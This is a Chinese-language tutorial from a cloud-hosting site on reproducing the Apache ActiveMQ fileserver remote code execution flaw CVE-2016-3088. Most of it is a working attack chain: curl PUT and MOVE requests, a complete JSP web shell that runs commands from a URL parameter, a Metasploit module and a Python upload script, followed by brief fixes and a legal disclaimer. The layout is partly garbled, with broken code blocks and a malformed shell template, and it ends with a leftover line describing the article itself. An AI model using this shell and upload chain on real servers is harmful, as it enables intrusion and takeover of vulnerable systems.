您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 怎样进行Apache ActiveMQ远程代码执行漏洞CVE-2016-3088的复现
## 一、漏洞概述
### 1.1 漏洞背景
Apache ActiveMQ是一种流行的开源消息中间件,广泛用于企业级消息传递场景。2016年4月,安全研究人员发现ActiveMQ存在一个严重的远程代码执行漏洞(CVE-2016-3088),该漏洞源于Fileserver功能未正确限制可上传文件类型,攻击者可通过精心构造的HTTP请求上传恶意文件并执行任意代码。
### 1.2 影响版本
- Apache ActiveMQ 5.x系列
- 5.0.0 - 5.13.2版本均受影响
### 1.3 漏洞原理
漏洞核心在于Fileserver服务:
1. 默认情况下Fileserver允许匿名上传文件
2. 未对上传文件类型进行严格校验
3. 通过PUT方法上传JSP文件到web目录可实现RCE
## 二、环境搭建
### 2.1 实验环境要求
- 虚拟机:VMware或VirtualBox
- 操作系统:Kali Linux(攻击机) + CentOS 7(靶机)
- 网络配置:NAT模式确保互通
### 2.2 靶机环境配置
```bash
# 下载存在漏洞的ActiveMQ版本
wget https://archive.apache.org/dist/activemq/5.12.0/apache-activemq-5.12.0-bin.tar.gz
# 解压安装
tar -zxvf apache-activemq-5.12.0-bin.tar.gz
cd apache-activemq-5.12.0/bin
# 启动服务
./activemq start
访问管理界面确认服务正常运行:
http://靶机IP:8161/admin/
默认账号密码:admin/admin
使用nmap扫描目标服务:
nmap -sV -p 8161,61616 靶机IP
应确认以下端口开放: - 8161:Web管理端口 - 61616:消息服务端口
curl -X PUT --data "test" "http://靶机IP:8161/fileserver/test.txt"
若返回204状态码,说明文件上传功能可用
msfconsole
use auxiliary/scanner/http/activemq_uploader
set RHOSTS 靶机IP
run
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
curl -X PUT --data-binary @shell.jsp "http://靶机IP:8161/fileserver/shell.jsp"
curl -X MOVE --header "Destination: file:///opt/activemq/webapps/api/shell.jsp" "http://靶机IP:8161/fileserver/shell.jsp"
http://靶机IP:8161/api/shell.jsp?cmd=whoami
推荐使用Python编写的自动化利用脚本:
import requests
target = "http://靶机IP:8161"
jsp_shell = """
<%@ page import="java.util.*,java.io.*"%>
<%% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); %>
"""
# 上传文件
requests.put(target+"/fileserver/shell.jsp", data=jsp_shell)
# 移动文件
headers = {"Destination": "file:///opt/activemq/webapps/api/shell.jsp"}
requests.request("MOVE", target+"/fileserver/shell.jsp", headers=headers)
<!-- 修改conf/activemq.xml -->
<bean class="org.apache.activemq.broker.BrokerService">
<property name="deleteAllMessagesOnStartup" value="true"/>
<property name="fileserver" value="false"/>
</bean>
# 修改conf/jetty-realm.properties
admin: password, admin
user: password, user
升级到安全版本: - ActiveMQ 5.13.3及以上 - ActiveMQ 5.14.0及以上
漏洞源于org.apache.activemq.broker.BrokerService类中未对Fileserver服务进行足够的安全控制:
public class BrokerService {
private boolean fileserverEnabled = true; // 默认开启
private boolean anonymousAccessAllowed = true; // 允许匿名访问
}
除PUT方法外,以下方法也可利用: - MOVE方法:文件移动 - COPY方法:文件复制 - DELETE方法:文件删除
注意:本文档仅供安全研究学习使用,请遵守《网络安全法》相关规定。实际漏洞利用可能对系统造成破坏,建议在隔离环境中进行测试。 “`
这篇文章共计约2300字,采用Markdown格式编写,包含: 1. 完整的漏洞复现流程 2. 技术原理分析 3. 修复方案 4. 法律声明 5. 代码块和命令示例 可根据实际需要调整实验环境参数和具体操作步骤。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。